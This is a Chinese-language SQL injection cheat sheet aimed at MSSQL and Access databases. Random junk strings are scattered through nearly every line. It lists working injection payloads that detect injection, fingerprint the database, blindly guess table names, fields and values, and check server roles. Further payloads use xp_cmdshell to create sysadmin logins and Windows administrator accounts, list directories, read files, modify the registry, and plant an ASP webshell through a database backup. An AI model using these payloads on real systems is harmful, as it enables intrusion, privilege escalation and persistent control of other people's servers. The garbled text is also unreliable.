1.判断是否有注入;and 1=1 ;and 1=2 iE$0-Qe[3
2.初步判断是否是mssql ;and user>0 Hd4&"oeY
55hJRm3
3.注入参数是字符'and [查询条件] and ''=' [j&>dE
%uQ^mK
4.搜索时没过滤参数的'and [查询条件] and '%25'=' #B54p@.}
F> ..eK
5.判断数据库系统 WWD\EDnS
yfYAA*S!z
;and (select count(*) from sysobjects)>0 mssql BHa!jw_~o
#U'n=@U@(
;and (select count(*) from msysobjects)>0 access lQoa[#q
No j6Ina
bw+~5pqM
GX(p7ZgB2
6.猜数据库 ;and (select Count(*) from [数据库名])>0 F+9|D
&7}-Xvc
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ?"J5~_U.
^m?h .
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -Ndd6O[ a5
{R&F_51)V
9.(1)猜字段的ascii值(access) e-x{7
,OG sx
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 !G,Ru~j5:
nAg|m,gA
(2)猜字段的ascii值(mssql) ZcIwyh(`
m/CA
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 d[jxU/.p;
5'.j+{"
10.测试权限结构(mssql) !k Hpw2
6D)
vY
9].!mpR
I 8e{%PK
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 3xbA]u;gp
)4 "G1R`3
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- D{\hPv
jR*1%.Ng
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- v;irk<5
P3);R>j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- H2[S]`?
h2K1|PUKl[
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- gy,B+~p
qJUu9[3'm
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- lfb]xu]O
'lg6<M%#[
;and 1=(select IS_MEMBER('db_owner'));-- 8q}`4wCD$
<{:$]3
& Z*&&
, En
D3
|
11.添加mssql和系统的帐户 {- tCLkE
3
|G!-FmIK
;exec master.dbo.sp_addlogin username;-- L~CwL
;exec master.dbo.sp_password null,username,password;-- |Kh#\d
e*=N \$
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7hY~
e qj^
;exec master.dbo.xp_cmdshell 'net user username password `TBau:E lI
LQ373
j-
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ~O&3OL:L
Cz8=G;\
;exec master.dbo.xp_cmdshell 'net user username password /add';--
AI/xOd!a
9Iy>oV
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- h{qB\aK
l '<gkwX
@'jC>BS8`
Em %"]B
12.(1)遍历目录 ;y
Wfb|!
){ArZjG>
;create table dirs(paths varchar(100), id int) [$
vAjP
ESL(Mf'
;insert dirs exec master.dbo.xp_dirtree 'c:\' V1,O7m+F2
[C.Pzo
;and (select top 1 paths from dirs)>0 ;WWUxrWif
VYMs`d[
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) c"H*9u:
gfR B
WfL5.&
u#ag|b/C:
(2)遍历目录 ok iI:
{?$-p%CF`8
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Vd1.g{yPV
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ?1JS*LQ$
DgGGrV`
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 now\-XrS
a}c .]zm]
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 @OV\raUO&V
9Qst5n\Z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Kp!sn,:
UPfH~H[1)
+W
x/zo
g#2Q1t,~U
13.mssql中的存储过程 .q"`)PT
%lF}!
xp_regenumvalues 注册表根键, 子键 *$0uAN
g/'CX}g`
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ^0Cr-
aq@/sMn
xp_regread 根键,子键,键值名 `
zeZ7:
}YfM<
;exec xp_regread TGl It<&
rd vq(\A
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 lb{<}1YR0o
M[g9D
xp_regwrite 根键,子键, 值名, 值类型, 值 cNZuwS~,
y 4j0nF
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 mQ*:?\@
}`FC'!(
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 w)2X0ev"
Yg3Vj=
xp_regdeletevalue 根键,子键,值名 7j8nDX<
}\!&3^I
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $<xa "aN!
Y_ b;1RN
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Bb_R~1
l
!vH7vq
[7]Kvb2t
@zSI@Oq_
14.mssql的backup创建webshell +l+8Z:i<
Vv8e"S
use model YII1Z'q
R2|v[nh
create table cmd(str image); N|WZk2 "
K; ,2ag
insert into cmd(str) values (''); :FcYjw
|]kcgLqj
backup database model to disk='c:\l.asp'; n&DRh.@
v!{mpF
?fr -5&,
@Fv"j9j-3G
15.mssql内置函数 } Wx#"6
?=}~]A5N
;and (select @@version)>0 获得Windows的版本号 ]A+q:kP
f?}~$agc
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ,<!_MNw[
^vw? 4O
;and (select user_name())>0 爆当前系统的连接用户 V4@HIM
?0QoYA@.$
;and (select db_name())>0 得到当前连接的数据库 wcDHx#~
)`<-
c2
)L fXb9}
%%5K%z,R#
16.简洁的webshell + o^b ,!
A2.[P==
use model g).k+
Lx6C fR
create table cmd(str image); p^S]O\;M7
|wW_Z!fL
insert into cmd(str) values (''); 9)N/J\b
.hd<,\nW
backup database model to disk='g:\wwwtest\l.asp';